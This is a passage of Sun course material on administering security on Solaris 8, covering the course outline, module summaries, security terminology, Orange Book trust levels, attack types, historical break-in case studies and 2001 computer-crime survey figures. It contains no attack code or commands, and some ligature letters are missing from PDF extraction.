The Stop-A Key ..................................................................... 17-21
Disabling the Stop-A Key .................................................... 17-22
Enabling EEPROM Security ................................................ 17-23
EEPROM Passwords............................................................. 17-26
Exercise: Working With Physical Security ................................. 17-28
Preparation............................................................................. 17-28
Task Disabling the Stop-A Key........................................ 17-28
Task Considering the Physical Security of Your
Systems ................................................................................ 17-28
Disabling the Stop-A Key .................................................... 17-30
Considering the Physical Security of Your Systems ........ 17-30
Connecting the Enterprise Network to the Outside World ........ 18-1
Objectives ......................................................................................... 18-1
Relevance........................................................................................... 18-2
Designing the Network to Improve Security............................... 18-4
Improving Security With a Firewall..................................... 18-5
Using Solaris SunScreen Firewall ......................................... 18-7
xxi
Evaluating IPsec as a Firewall Replacement....................... 18-8
Using Routing Security Features ........................................ 18-10
Masking Hosts Using a Proxy Server................................. 18-12
Securing Routers, Proxy Servers, and Firewalls............... 18-14
Creating Demilitarized Zones (DMZ)................................ 18-16
Providing Secure Access Using a Virtual Private
Network............................................................................... 18-17
Sample Architectures............................................................ 18-19
Running Enterprise Security Audits ........................................... 18-21
Running Trial Attacks .......................................................... 18-22
Using Third Parties to Run Trial Attacks .......................... 18-22
Applying Ongoing Network Security Measures...................... 18-24
Identifying Ongoing Tasks .................................................. 18-25
Keeping Current With Security Issues........................................ 18-28
Identifying Information Sources......................................... 18-29
On-Line Security Resources .......................................................... A-1
Advisory and Certification Bodies ................................................ A-1
CERT.......................................................................................... A-1
INFOSEC - Information Systems Security
Organization.......................................................................... A-1
Computer Security Technology Center ................................ A-2
Security Standards ............................................................................ A-3
Common Criteria ..................................................................... A-3
National Security Agency (NSA)........................................... A-3
CSRC Computer Security Division .................................... A-3
ITSEC (Europe)......................................................................... A-4
IEEE Computer Society........................................................... A-4
IETF............................................................................................ A-4
The Open Group ...................................................................... A-5
Useful Web Sites................................................................................ A-6
Sun Security Coordination Team........................................... A-6
The Computer Incident Advisory Center ............................ A-6
Computer and Internet Security Resources ......................... A-6
Computer Security Institute ................................................... A-7
InfoWar.com............................................................................. A-7
InfoWorld.com ......................................................................... A-7
Risks Digest............................................................................... A-7
SecurityFocus.com................................................................... A-8
Security Portal .......................................................................... A-8
SecuritySearch.net.................................................................... A-8
SecurityStats.com..................................................................... A-8
USENIX...................................................................................... A-8
xxii Administering Security on the Solaris8 Operating Environment
Solaris OE Security Tools Summary..............................................B-1
The Trusted Solaris 8 OE.............................................................. B-1
Security Extensions...................................................................B-1
The SunScreen Firewall Product.........................................B-2
SKIP.............................................................................................B-3
IPsec ............................................................................................B-3
Sun Enterprise Authentication Mechanism (SEAM) ...........B-4
Pluggable Authentication Modules (PAM)...........................B-4
Sun Enterprise Network Security Service (SENSS)..............B-5
Solaris OE Fingerprint Database.............................................B-5
PATCHDIAG.............................................................................B-5
ASET ...........................................................................................B-6
Third-Party Security Tools..............................................................C-1
SAINT (SATAN/SARA) ......................................................... C-1
Courtney.................................................................................... C-2
Gabriel ....................................................................................... C-3
TripWire .................................................................................... C-3
Top ............................................................................................. C-3
TCP Wrappers .......................................................................... C-3
Crack.......................................................................................... C-4
John the Ripper......................................................................... C-4
AntiCrack .................................................................................. C-4
The npasswd Command.......................................................... C-5
Secure Shell (SSH) .................................................................... C-5
The nmap Utility........................................................................ C-6
Titan ........................................................................................... C-7
COPS.......................................................................................... C-7
Tiger ........................................................................................... C-7
The dsniff Sniffer................................................................... C-8
The sudo Utility........................................................................ C-8
Cerberus Internet Scanner (CIS) ............................................ C-8
Nessus........................................................................................ C-8
Whisker...................................................................................... C-9
The tcpdump Tool .................................................................. C-10
SWATCH......................................................................................... C-10
Pretty Good Privacy (PGP) ........................................................... C-10
Kerberos........................................................................................... C-10
Virtual Private Networks.............................................................. C-11
Anti-Sniffing Tools......................................................................... C-11
Security Recommendations............................................................D-1
Index...........................................................................................Index-1
Preface-i
Preface
About ThisCourse
Course Goals
In this course, system security is covered at two main levels: the physical
security of the systems, covering access to systems and networks, and the
protection of the system data.
This course provides you with the practical skills required to implement,
administer, and maintain a secure Solaris Operating Environment
(Solaris OE). This course should enable you to do the following:
G Control authorized and unauthorized access to a computer or
network
G Manage computer users and accounts
G Apply data copy protection, including database information
G Defend against viruses, worms, and other hacks
Course Map
Preface-ii Administering Security on the Solaris8 Operating Environment
Course Map
The following course map shows the structure of the course. This enables
you to track your progress with reference to the course goals.
Module-by-Module Overview
About This Course Preface-iii
This course contains the following modules:
G Module 1, Security Overview
This module explores what security means in computing terms, and
denes the required security terminology. Different types of security
violation are identied, and the most likely sources of those security
violations explained.
G Module 2, Using Solaris OE Log Files
This module explores the logging and tracing capabilities that can
help to monitor and detect security breaches. The key security log
les found on Solaris OE are described, and their locations given.
G Module 3, The Solaris OE Basic Security Module
This module explains the role of the Basic Security Module (BSM) in
auditing and controlling system usage. In this module, you congure
and use UNIX
auditing through BSM and use BSM to manage

devices.
G Module 4, Security Attacks
This module looks in detail at some common types of system attack.
The objectives and mechanisms of Trojan horse attacks are
examined, and the purpose of rootkits is described. Various other
back door strategies are explained.
G Module 5, Administering User Accounts Securely
This module explains how to add, maintain, and delete user
accounts securely. It also shows how to congure tools to check for or
prevent user security violations.
This module also shows how to congure restricted shells for users to
limit the danger from compromised accounts.
G Module 6, Password Security
This module explains how to congure and use password cracking
tools to nd weak passwords.
Preface-iv Administering Security on the Solaris8 Operating Environment
G Module 7, Securing Root Access
This module shows you how to congure and use Solaris OE Role-
Based Access Control (RBAC). It also explains how to congure and
use the sudo utility to allow privileged users to obtain extra privilege
for specied tasks.
G Module 8, File System Attacks
This module shows how to congure disk partitions and slices to
improve security. It also describes how to determine and enforce the
correct le permissions and ownership.
The implications of the set-user-id (SUID), set-group-id (SGID), and
sticky bits are explored. The use and conguration of access control
lists to protect system resources is examined.
Finally, this module investigates security issues connected with
backup and restore strategies.
G Module 9, Auditing File Systems
This module explores the role of le system auditing, and shows how
to use TripWire to ngerprint a le system to help detect le system
attacks.
G Module 10, Attacking Network Data
This module describes the use of network snifng and common
sniffer tools, such as the dsniff and snoop utilities. It analyzes how
such tools compromise user data and passwords carried over the
network.
This module also examines common network service attacks and
network-based denial-of-service (DoS) attacks.
G Module 11, Securing Network Data
Encryption counteracts network snifng. This module investigates
the need for the encryption of network data, and then shows how
such encryption can be implemented for Transmission Control
Protocol/Internet Protocol (TCP/IP)-based connectivity using IPsec.
G Module 12, Analyzing Network Services
There are tools that scan systems and networks, looking for known
vulnerabilities. This module looks at the capabilities of such tools,
and focuses on the most popular oneSecurity Administrators
Integrated Network Tool (SAINT). It shows how to monitor and
manage network services using SAINT, and how to congure the
Courtney application to detect SAINT-style attacks.
About This Course Preface-v
G Module 13, Security Network Services
This module shows you how to determine and disable unnecessary
network services. It covers the correct setup of Berkeley r commands
and le transfer protocol (FTP), and explains the use of the chroot
command for increased security.
This module also describes the role of authentication tools, such as
Plugable Authentication Module (PAM) and Sun Enterprise
Authentication Mechanism (SEAM).
G Module 14, Hardening the System
This module examines the concepts of system hardening, and shows
how to congure and use tools such as Titan and ASET to perform
system hardening.
G Module 15, Authenticating Network Services
This module shows you how to congure and use TCP Wrappers.
G Module 16, Securing Remote Access
This module shows you how to congure and use Secure Shell
(SSH).
G Module 17, Securing Physical Access
This module describes the need for physical security, and explains
some of the counter-measures that can be applied. Specically, it
shows how to disable the STOP-A key, and explains how this
enhances physical security. It also shows how to set electrically
erasable, programmable, read-only memory (EEPROM) passwords.
G Module 18, Connecting the Enterprise Network to the Outside
World
This module examines wider network security issues and explains
the role of rewalls, proxy servers, and so on. It looks at security
issues specic to routers, and how these might compromise security.
This module also describes the ongoing security tasks that are
necessary to keep a network of systems secure. Common sources of
security information are listed, and where the latest security issues
and patches can be found.
Course Objectives
Preface-vi Administering Security on the Solaris8 Operating Environment
Course Objectives
Upon completion of this course, you should be able to:
G Discuss the need for computer security and list the common
terminology for describing information technology (IT) security
G Use standard Solaris OE logging and auditing facilities to monitor
attempted and successful security attacks
G Congure user accounts in a secure manner
G Advise users on good password policy and identify user accounts
with insecure passwords
G Congure les, directories, and devices in a secure manner and
implement secure user access to le system services
G Fingerprint a le system for detecting potential security attacks
G Describe the vulnerabilities of an IT network
G Encrypt data transmitted over the network
G Congure network services to secure the network against
unauthorized access
G Describe the need for controlled physical access to IT equipment
G Discuss the means of securing access to all aspects of an enterprise IT
conguration
Topics Not Covered
About This Course Preface-vii
Topics Not Covered
This course does not cover the following topics:
G Solaris OE administration. This is covered in the following two
courses offered by Sun Educational Services:
G SA238 or WSB238: Solaris 8 Operating Environment System
Administration I
G SA288 or WSB288: Solaris 8 Operating Environment System
Administration II
G Transmission Control Protocol/Internet Protocol (TCP/IP) network
administration. This is covered in the following course offered by Sun
Educational Services:
G SA389 or WSB389: Solaris 8 Operating Environment TCP/IP
Network Administration
HowPrepared Are You?
Preface-viii Administering Security on the Solaris8 Operating Environment
HowPrepared Are You?
To be sure you are well prepared to take this course, can you answer yes to
the following questions:
G Can you add user accounts to Solaris OE?
G Can you congure basic TCP/IP to connect a Solaris OE workstation
to a corporate network?
G Can you install a Solaris OE workstation or server?
Introductions
About This Course Preface-ix
Introductions
Now that you have been introduced to the course, introduce yourself to
the other students and the instructor, addressing the items shown on the
overhead.
Howto Use Course Materials
Preface-x Administering Security on the Solaris8 Operating Environment
Howto Use Course Materials
To enable you to succeed in this course, these course materials use a
learning model that is composed of the following components:
G Course map An overview of the course content is shown under
Course Map on page Preface-ii so you can see how each module
ts into the overall course goal.
G Objectives What you should be able to accomplish after
completing each module is listed at the beginning of each module.
G Relevance This section, which appears in every module, provides
scenarios or questions that introduce you to the information
contained in the module and provoke you to think about how the
content of the module relates to the application of security in general,
and Solaris OE in particular.
G Lecture The instructor presents information specic to the topic
of the module. This information helps you to acquire the knowledge
and skills necessary to succeed with the exercises.
G Exercise Lab exercises give you the opportunity to practice your
skills and apply the concepts presented in the lecture.
Course Icons and Typographical Conventions
About This Course Preface-xi
The following conventions are used in this course to represent various
training elements and alternative learning resources.
Icons
Additional resources Indicates other references that provide additional
information on the topics described in the module.
Note Indicates additional information that can help students but is not
crucial to their understanding of the concept being described. Students
should be able to understand the concept or complete the task without this
information. Examples of notational information include keyword
shortcuts and minor system adjustments.
Caution Indicates that there is a risk of personal injury from a
nonelectrical hazard, or risk of irreversible damage to data, software, or
the operating system. A caution indicates that the possibility of a hazard
(as opposed to certainty) might happen, depending on the action of the
user.
Warning Indicates that either personal injury or irreversible damage of
data, software, or the operating system will occur if the user performs this
action. A warning does not indicate potential events; if the action is
performed, catastrophic events will occur.
Preface-xii Administering Security on the Solaris8 Operating Environment
Typographical Conventions
Courier is used for the names of commands, les, directories,
programming code, and on-screen computer output, for example:
Use dir to list all les.
system% You have mail.
Courier is also used to indicate programming constructs, such as class
names, methods, and keywords; for example:
The getServletInfo method is used to get author information.
The java.awt.Dialog class contains Dialog constructor.
Courier bold is used for characters and numbers that you type; for
example:
To list the les in this directory, type:
# dir
Courier bold is also used for each line of programming code that is
referenced in a textual description; for example:
1 import java.io.*;
2 import javax.servlet.*;
3 import javax.servlet.http.*;
Notice the javax.servlet interface is imported to allow access to its life cycle
methods (line 2).
Courier italics is used for variables and command-line placeholders
that are replaced with a real name or value; for example:
To delete a le, use the del filename command.
1-1
Module 1
SecurityOverview
Objectives
Upon completion of this module, you should be able to:
G Describe basic system security, its manifestations, and the sources
and implications of poor security
G Explain what security means in computing terms
G Explain why system security is important
G Recognize security terminology
G Identify different types of security violations
G Describe the most likely sources of security violations
G Describe the need for security policy
G Recognize the difference between prevention of security violations
and xing after the event
G Explain how to obtain and build third-party security tools
Relevance
1-2 Administering Security on the Solaris8 Operating Environment
Relevance
?
!
Discussion The following questions are relevant to understanding what
system security is all about:
G Why do computer systems need security?
G What would happen if all users had unrestricted access to all
systems?
G How can administrators tighten security on their systems?
Additional Resources
Security Overview 1-3
Additional resources The following references provide additional
information on the topics described in this module:
G Schneier, Bruce. Secrets & Lies. John Wiley & Sons, 2000.
G Scambray, McClure, Kurtz. Hacking Exposed. Osborne McGraw-Hill,
2001.
G Stoltz, Clifford. The Cuckoos Egg. Pocket Books, 1995.
G Bell, D.E. and LaPadula, L.J. Secure Computer Systems: Unied
Exposition and Multics Interoperation, MTR-2997 Rev. 1, MITRE
Corporation, Bedford Massachusetts, March 1976.
G Network Working Group Request for Comments: 2196 Site
Security Handbook
[http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2196.html],
accessed 14 May 2001.
G Department of Defense, Trusted Computer System Evaluation Criteria,
(DOD-5200.28-STD)
[http://www.radium.ncsc.mil/tpep/library/rainbow/5200.28
-STD.html]
[http://www.dynamoo.com/orange/]
Tool Downloads
G GNU Zip as an SVR4 package,
[http://www.sunfreeware.com]
G GNU C++ Compiler as an SVR4 package,
G GNU Make as an SVR4 package,
G Perl as an SVR4 package,
Understanding Security
In this course, system security is presented at two levels: the physical
security of the systems, including access to systems and networks, and the
protection of the system data.
Computer security includes the following:
G Controlling authorized and unauthorized access to a computer or
network
G Managing computer users and accounts
G Protecting data, including database information
G Defending against viruses, worms, and other malicious attacks
G Controlling physical access to IT systems
Security and UNIX
The original UNIX
operating system was not designed with the levels of

security that most corporate and educational users now demand. The
UNIX developers wrote the operating system in an environment where
security, as we understand the term today, was not the prevailing concern.
Their focus was to design a system where users or wayward programs
were prevented from accidentally interfering with each other. Preventing
malicious damage was not a consideration.
However, they did incorporate a security system that controls:
G User access to the system
G The way users and programs access les
G Access to system resources
Unfortunately, this security system does not prevent users from writing
programs with aws that can deliberately or accidentally bypass these
security controls. In fact, nearly all of the security holes in UNIX are the
fault of bad programing rather than a aw in the basic design philosophy.
Security Is Partly a Matter of Education
As the person responsible for implementing security in your UNIX
environment, you might have encountered people in your user
community who are reluctant to implement stricter security measures.
Users might be accustomed to sharing data and programs, and they might
have free access to compilers and system devices (this might be
particularly true in a research environment). The tradition of open access
in UNIX is a strong one. Therefore, in your workplace you might have
two security tasks rather than one:
G Secure your UNIX environment to a level appropriate for the
sensitivity of the data or the importance of the application
environment.
G Educate your user community to respect and accept the level of
security required so that the rst task can be achieved. Higher levels
of security impact ease of useeducate your users to accept the
restrictions rather than unilaterally impose the restrictions.
UNIX Software
The open nature of UNIX resulted in an initial popularity that meant
much of the UNIX operating system and its utilities were written by
users, not system designers. These were often university students or
software developers at research labs, who developed the software at a
time when sophisticated engineering tools and techniques were not
available. Many bugs were introduced into UNIX because of this lack of
coherent design and rigorous testing.
Many of the original security aws have been found and xed. However,
when new software is written, new security holes are found. It is,
therefore, important to keep track of the latest security bulletins and to
install operating system and application patches as they are released.
Examples of Break-Ins
The following examples are real attacks made on organizations. These
examples illustrate how easy it is to mount an attack and how fast the
attackers intrusion can spread from the initial system to whole networks.
The examples also show how damaging and costly even a seemingly
harmless attack can be.
Chronology of a Host Compromise
At 12 noon on July 19, 1995, a team of intruders attacked an organization's
computer system a system on which the intruders already had valid
user accounts. Then intruders exploited their knowledge of the
organizations personnel. Their goal was to obtain the root password for
the organization's primary UNIX server, and from there, to wreak havoc.
At 1 p.m., using administrative privileges at another site, the intruders
created a user account at that site with the same account and user name as
the system manager of the target organization. The intruders sent an
email message from this fake account to one of the system administrators
in the target organization, asking for the server root password.
At 3:11 p.m., the system administrator replied to the spoofed email
message and provided the real root password. The system administrator,
replying out of the email systemelm, did not see the mail header and was
unaware that this message did not originate from the system manager.
At 3:12 p.m., the intruders logged in to the primary server of the target
organization using the account of another system administrator, whose
password they had sniffed earlier. They logged in as root using the
password they had received in the email reply. They changed the root
password and the password of the system administrator's account that
they used to log in. They removed other user accounts and even changed
the electrically erasable programmable read-only memory (EEPROM)
password using the eeprom command. Finally, the intruders attacked
other machines on the organization's network and destroyed security and
administrative functions.
Sometime before 4 p.m., the system administration team discovered that
they could not log in. They noticed a message on a client machine console
indicating that an unprivileged user had successfully used the su
command to access the root account. They also found that the EEPROM
password was changed on the server.
At 4:12 p.m., they decided to power off their machines.
On the next day, July 20, the system administration team struggled
unsuccessfully to recover.
By July 21, they decided to perform a complete reinstallation of all Sun
workstations with an upgrade from SunOS to the Solaris 2.4 O.E.
On July 24, their machines were operational, and user accounts were
restored on July 25.
On July 31, one of the client machines was compromised again by the
same team of intruders.
This is an actual incident. The individuals who performed this attack
(Texas A&M University graduate students completing a computer
security laboratory exercise) were later identied. Instead of being
prosecuted, they were rewarded. The attack was real, but it was made in a
controlled environment as part of a graduate-level computer security
course.
This example highlights several lessons for all security administrators:
G Guile and subterfuge were used to accomplish the initial security
breach.
G The initial intrusion quickly led to the compromise of a large part of
the network.
G In contrast to the speed of the attack, it took a long time to restore
the systems back to a secure state.
Western Union
On September 9, 2000, Western Union warned thousands of online
customers that hackers had broken into the company's Web site. Although
no fraudulent transactions or breaches of personal information were
discovered, the penetration could have affected online users. More than
10,000 customers were alerted, suggesting that they cancel their credit and
debit cards. The Web site was out of service that evening, and remained
that way for several days.
In this example, an intrusion, which apparently did no damage, caused
Western Union a huge loss of business and customer trust.
Nuclear Power Station
In June 1999, a guard employed to protect a nuclear power station
attempted to sabotage the site's computers. The guard triggered a
high-level security alert leading to a shutdown of the station's automatic
access control system, electronically locking doors to close the station, as
colleagues began searching for an intruder.
The guard is believed to have hacked into the stations computer system
to alter sensitive information. An employee said:
He got into one of the systems and wiped the records. The security
people are still very touchy when we try to nd out exactly what
happened.
The incident was so serious that a working party was formed to review
security and tough, new security checks were imposed at nuclear power
stations.
This example underscores how disgruntled employees can pose a severe
risk to system security.
Travelocity
In January 2001, a security breach at Travelocity exposed the personal
information of up to 51,000 of the online travel company's customers who
had participated in a site promotion. Customer names, addresses, phone
numbers, and email addresses were revealed because of an inadequately
protected directory, perhaps for up to a month. The replacement of servers
in San Francisco with new ones in Tulsa caused this breach.
This example shows that sometimes companies make things easy for the
hacker to gain access to individuals private information.
FTP Server
In April 2001, PGP Securitys Computer Vulnerability Emergency
Response Team (COVERT) notied three vendors that new vulnerabilities
had been discovered in their le transfer protocol (FTP) server software.
The security holes could allow a hacker to break into the servers, steal
data, deface Web sites, or substitute false data for information a company
provides to its customers.
FTP servers are used by more than 90 percent of all enterprise networks to
share data with employees, partners, and customers, and the vulnerability
could affect a signicant portion of those networks. The COVERT lab is
not aware of any serious failures attributed to the vulnerability but, as
news of the security hole spread, it became almost a race to see if vendors
could patch their systems before they were exploited.
This example shows that even security experts sometimes get it wrong.
Yahoo! Web Server
In February 2000, the Yahoo! Web portal site was the target of a
distributed denial-of-service (DoS) attack which, at that time, was the
highest prole company to admit to being a victim of such an attack.
According to Yahoo!, the attack originated from 50 different Internet
Protocol (IP) addresses and up to 1 Gbyte of requests per second ooded
the Yahoo! routers. According to a Yahoo! spokeswoman their routers:
... experienced a coordinated, distributed denial-of-service attack at
one of its California data centers which caused intermittent inability
to access some, but not all, Yahoo! services.
Yahoo! faces DoS attacks on a fairly regular basis, the company
spokeswoman said, but it normally can override the problem by
re-routing resources. This was the rst time the site was forced ofine by
such an attack.
The attack took the site ofine for approximately three hours from about
10:30 a.m. to 1:10 p.m. on a Monday. By Monday evening, the site had
lters in place to block the attack and the network was running at full
power. Yahoo! said it did not know who was responsible for taking the
site down.
Although Yahoo! refused to estimate how much the attack cost it in lost
revenue, analysts estimate the loss will add up to millions of dollars.
You're talking about one of the biggest sites on the Web going down
in the middle of the business day. That's pretty signicant.
Malcolm Maclachlan, International Data Corp.
Security Terminology
Three terms traditionally dene computer security:
G Condentiality
G Integrity
G Availability
Condentiality is concerned with privacy, or preventing users from reading
sensitive information. In a military environment, the terms security and
condentiality are often used synonymously.
While condentiality covers unauthorized reading, integrity is concerned
with unauthorized writing. One denition of integrity is:
Every piece of data is as the last authorized modier left it.
Data integrity ensures that the unauthorized modication or deletion of
data is not permitted. Software integrity ensures that programs are not
altered by errors, malicious users, or viruses.
Availability means ensuring that attackers cannot prevent legitimate users
from accessing the system. Do not confuse this with the term used by
software and hardware vendors selling high availability, fault tolerant
software and systems, which has little to do with security.
Other terms that describe computer security are:
G Trusted Computing Base The trusted computing base (TCB) denes
the protection mechanisms inside the computer (both hardware and
software) that implement the security policy.
G Reference Monitor A reference monitor is a piece of software that
controls access to objects (les, devices, systems) by subjects
1
(users
or programs). Typically a reference monitor is a small part of a
program that is responsible for controlling access.
G Secure Kernel A secure kernel refers to the hardware and software
of the TCB that implements the reference monitor concept.
On some UNIX systems, executable les can be marked by the superuser
as part of the TCB. Using a special trusted shell, only TCB les can be
executed, making it more difcult for intruders to replace system les to
gain privileged access to the system.
1. The use of subjects and objects and their relationship are dened in the Bell-
LaPadula model of computer security. See Additional Resources on
page 1-3.
The Orange Book
The Orange Book
The National Computer Security Center published a book in 1985 called
the U.S. Department of Defense Trusted Computer System Evaluation Criteria.
It is the standard for rating computer systems for security. The book is
better known as The Orange Book. It denes four divisions and seven
layers of trust in a computing environment (see Figure 1-1 on page 1-16).
The divisions range from D (minimum security) to A (veried design).
Each level includes all the security provisions of the preceding levels so
that every level builds on each other.
The Orange Book
The Orange Book
Figure 1-1 The Orange Book Seven Layers of Trust
The following are examples of how some of the Orange Book Seven
Layers translate to common, well-known computer equipment and
operating systems:
G D Typical stand-alone personal computer (PC)
G C1 Typical out-of-the-box UNIX system
G C2 Computer running the Solaris OE with BSM installed
G B1 Trusted Solaris 8 OE
Common Terms
The following section denes common terms used in relation to computer
security.
Minimal protection is provided; there are no security features.
Discretionary access control and access permissions are provided.
Logins with passwords are required.
Auditing and authentication events are audited. Authentication
events are kept in a secure place.
Mandatory access control and labeled output are provided. Access
is based on labels which designate security clearance.
Configuration control, facility management, and system
configuration must be documented and controlled. All
administrative security and operator functions are separated.
Access control lists and full system documentation are provided.
Access is based on lists of users plus labels.
Formal proof of the security of the system is required.
D
C1
C2
B1
B2
B3
A
The Orange Book
Identication and Authentication
Identication is a means of letting a third party (such as an IT system)
know who you are. IT system identication can be:
G A login or account name
G A smart card or Enigma card
G The IP address of your own computer
G Caller ID used in conjunction with your phone
G A digital certicate provided by a trusted agent
No one of these is sufcient to ensure secure computer access because:
G Login names are easily acquired
G Cards are easily stolen
G IP addresses can be acquired and used by another computer
G Burglars can break in and use your phone
G Public keys for certicates can be falsied
The Orange Book
Authentication is the ability to prove who you are. In a secure
environment, when you identify yourself to a computer it asks for further
information to authenticate you. Means of authentication can include:
G Something you know, such as a password, personal identication
number, or pass phrase
G Something you have, such as a smart card or Enigma card
G Something about you, such as a ngerprint or retina scan
Although these examples are not totally foolproof, they are sufcient for
most systems. Problems with these means of authentication include:
G Users give away passwords or choose obvious ones which can be
guessed
G Smart cards can be stolen
G Hollywood movies demonstrate techniques (some realistic and some
not) for falsifying such personal attributes as ngerprints
The Orange Book
Authorization
Authorization ensures that:
G Authorized people can accomplish what they are authorized to do
G Unauthorized people cannot do what they should not do
Authorization is enforced by access control and condentiality, which:
G Grants or denies access to data
G Restricts actions
G Controls who has access to what
G Provides assurance that sensitive data remains undisclosed
Examples of mechanisms that implement access control and enforce
condentiality are:
G File and directory permissions
G Network connections and trusted hosts, where the host, all users of
the host, and the network connection to the host, are implicitly
trusted as secure
The Orange Book
G Distributed le system shared access controls
G EEPROM security mode settings
G Encrypted data
Types of Security Attacks
Your systems can be attacked in many ways and for many reasons.
Attacks are classied so that you can understand the types of measures
that must to be taken to prevent or mitigate attacks.
Fraud and Theft
Flaws in electronic nancial and commercial systems provide the
potential, and sometimes the irresistible urge, for criminal attack.
Financial systems lose millions of dollars each year because of hacking,
and techniques become more effective despite the fact that security also
becomes more effective. Systems dealing with money (in any form)
require an increased security focus because they are likely to receive
persistent attacks.
Theft of information also occurs because the theft of information can have
a signicant monetary value to a competitor or enemy. Intellectual
property can also prompt attack because of its monetary value. Theft of
intellectual property is concerned with providing access to proprietary
data while maintaining control and receiving appropriate compensation,
instead of keeping sensitive data private.
Terrorism and Sabotage
While fraud is primarily restricted to nancial systems, any system might
be attacked by terrorists or an employee looking to sabotage a system for
revenge. Revenge or malice are usually the motive for attacks of this kind.
Viruses, designed to cause damage to someone elses property, are usually
of this type. Sometimes the virus is targeted against a particular rm;
sometimes the hacker is looking for maximum disruption to as many
organizations as possible.
Bombs, or bomb threats, are another type of destructive attack. Because
modern distributed systems are heavily dependent upon networking, the
actual computer installation might not be the target; the networks are also
vulnerable. Network cables and telecommunications equipment are far
more accessible than computer data centers.
Note An installation that could be subjected to serious threat from a
terrorist attack requires signicant amount of physical as well as
electronic defense. The discussion of how to defend against such a threat
is beyond the scope of this course.
Sabotage by disgruntled employees can be difcult to prevent, especially
if the person involved is in a position of trust. Techniques and tools in this
course can help to prevent the majority of sabotage attacks caused by
malicious individuals but these tools cannot entirely prevent trusted users
from sabotaging a system.
Privacy Violation
Privacy violation comes in two forms: targeted attacks, which can lead to
identity theft, and data harvesting.
Targeted Attack
In a targeted attack, the attacker wants to know everything about an
individual, company, or organization. Identity theft is using that
information illegally to impersonate the individual.
As more systems use electronic identication, identity theft is becoming
more common. Computer security helps protect information, which
makes privacy violation harder. However, not all information is stored
online, so you must pay attention to hard and soft media, and ensure that
printouts and backup media are also kept secure.
Data Harvesting
Data harvesting is the process of collecting names of people who might be
susceptible to illegal scams. For example, an attacker might want to nd
all the widows age 70 or older, with one or more pets, and with more than
$10,000 in the bank, in order to sell them a non-existent plot in a pet
cemetery.
Data harvesting is heavily automated because multiple databases are
accessible from the Internet. This automation is, however, also the key to
preventing data harvesting. The process is only worthwhile if information
can be easily obtained. Good computer security and moderate levels of
cryptography can protect against data harvesting.
Note In many countries, data protection regulations dene a citizens
rights to privacy and determine how they can access personal information
stored on computer systems. If your company operates in one of these
countries, you must incorporate the data protection regulations in your
security policy. If you fail to do so, your company might be prosecuted.
Publicity Attacks
Publicity attacks are designed to attract attention. While publicity attacks
are usually not illegal or even directly damaging, they can cause a great
deal of embarrassment and a loss of credibility. For example, in 1995,
Berkeley graduates broke the Netscape Navigator encryption scheme.
They did not exploit the information directly; they called The New York
Times, which damaged public condence in Netscape.
These attacks are often spread by individuals with time to spare. Do not
underestimate these hackers because they are often highly skilled and
looking for publicity, so the bigger the target the better. Your systems
must be completely intruder proof to defeat these kinds of attacks.
Denial of Service
A Denial of Service (DoS) attack is designed to stop something from
working. It can be a type of publicity attack, or the prelude to a criminal
attack. In the latter scenario, the criminal is hoping to either directly
damage your security or get you to relax your security while you sort out
the original DoS problem.
Networks are a particular target for DoS. Huge amounts of network trafc
can be generated by automating low level Transmission Control
Protocol/Internet Protocol (TCP/IP) message protocols. This becomes a
DoS attack on a poorly defended network.
It is often easier for an attacker to disrupt an operation than it is for them
to gain access. Attacks of this kind appeal to malicious people who revel
in the sense of power that DoS attacks provide them.
UNIX provides minimal protection against many DoS attacks and the
emphasis must be to prevent attackers from getting into a position where
they can instigate a DoS attack.
Natural Causes and Environmental Influences
Accidental, non-malicious attacks are often forgotten. This category
includes events which are not directly caused by people, such as re,
ood, earthquake, electrical failure, and so on.
Note Scenarios of this kind typically require a disaster recovery policy.
Disaster recovery is not covered in this course.
Frequency of Security Attacks
Figure 1-2 shows where attackers are focusing their attentions. Over half
the attacks (60 percent) involve theft of some kind, either information or
money. If you work for a business you are probably aware of the added
threats you face, but everyone should understand that information can
have a signicant monetary value and, therefore, needs just as much
protection as cash.
Although 60 percent of attacks were for nancial gain, 40 percent were
simply malicious. Fortunately, attackers who just want to cause damage
are likely to be deterred if you implement the additional security
measures outlined in this course.
Figure 1-2 Types of Computer Crime
Security Attacks Are Rare Or Are They?
The U.S. Computer Security Institute (CSI) publishes an annual
Computer Crime and Security Survey. A recent survey of 550
companies and other agencies showed a worrying trend computer crime
is denitely on the increase.
Highlights of the 2001 Computer Crime and Security Survey include:
G 85 percent of respondents (primarily large corporations and
government agencies) detected computer security breaches within
the last twelve months.
G 64 percent acknowledged nancial losses due to computer breaches.
G 35 percent (186 respondents) were willing and able to quantify their
nancial losses:
G These 186 respondents reported $377,828,700 in nancial losses.
G In contrast, the losses from 249 respondents in 2000 totaled
$265,589,940.
G The average annual total over the three years prior to 2000 was
$120,240,180.
G As in previous years, the most serious nancial losses occurred
through theft of proprietary information (34 respondents reported
$151,230,100) and nancial fraud (21 respondents reported
$92,935,500).
G For the fourth year in a row, more respondents (70%) cited their
Internet connection as a frequent point of attack than cited their
internal systems (31%). The number of those citing their Internet
connections as a frequent point of attack rose from 59% in 2000 to
70% in 2001.
G Thirty-six percent of respondents reported the intrusions to law
enforcement; a signicant increase from 2000, when only 25%
reported them. In 1996, only 16% acknowledged reporting intrusions
to law enforcement.
Respondents detected a wide range of attacks and abuses. Here are some
examples of attacks and abuses on the rise:
G Forty percent of respondents detected system penetration from the
outside. Twenty-ve percent reported system penetration in 2000.
G Thirty-eight percent of respondents detected DoS attacks. Twenty-
seven percent reported DoS in 2000.
G Ninty-one percent detected employee abuse of Internet access
privileges (for example, downloading pornography or pirated
software, or inappropriate use of email systems). Seventy-nine
percent detected Internet abuse in 2000.
G Ninty-four percent detected computer viruses. Eighty-ve percent
detected viruses in 2000.
Questions were asked about electronic commerce over the Internet. Here
are some of the results:
G Ninty-seven percent of respondents have World Wide Web (WWW)
sites.
G Forty-seven percent conduct electronic commerce on their sites.
Understanding Your Attackers
G Twenty-three percent suffered unauthorized access or misuse within
the last twelve months:
G Twenty-one percent of those acknowledging attacks reported
between two and ve incidents.
G Fifty-eight percent reported ten or more incidents.
G Ninty percent of those attacked reported vandalism (Sixty-four
percent in 2000).
G Twenty-seven percent said that they did not know if there had been
unauthorized access or misuse.
G Seventy-eight percent reported DoS on Web sites (Sixty percent in
2000).
G Thirteen percent reported theft of transaction information (Eight
percent in 2000).
G Eight percent reported nancial fraud (Three percent in 2000).
Who are the people who attack computer systems? They can be anyone;
they do not even have to have access to a computer if they are intent on
sabotage. Typically attackers range from organized crime syndicates
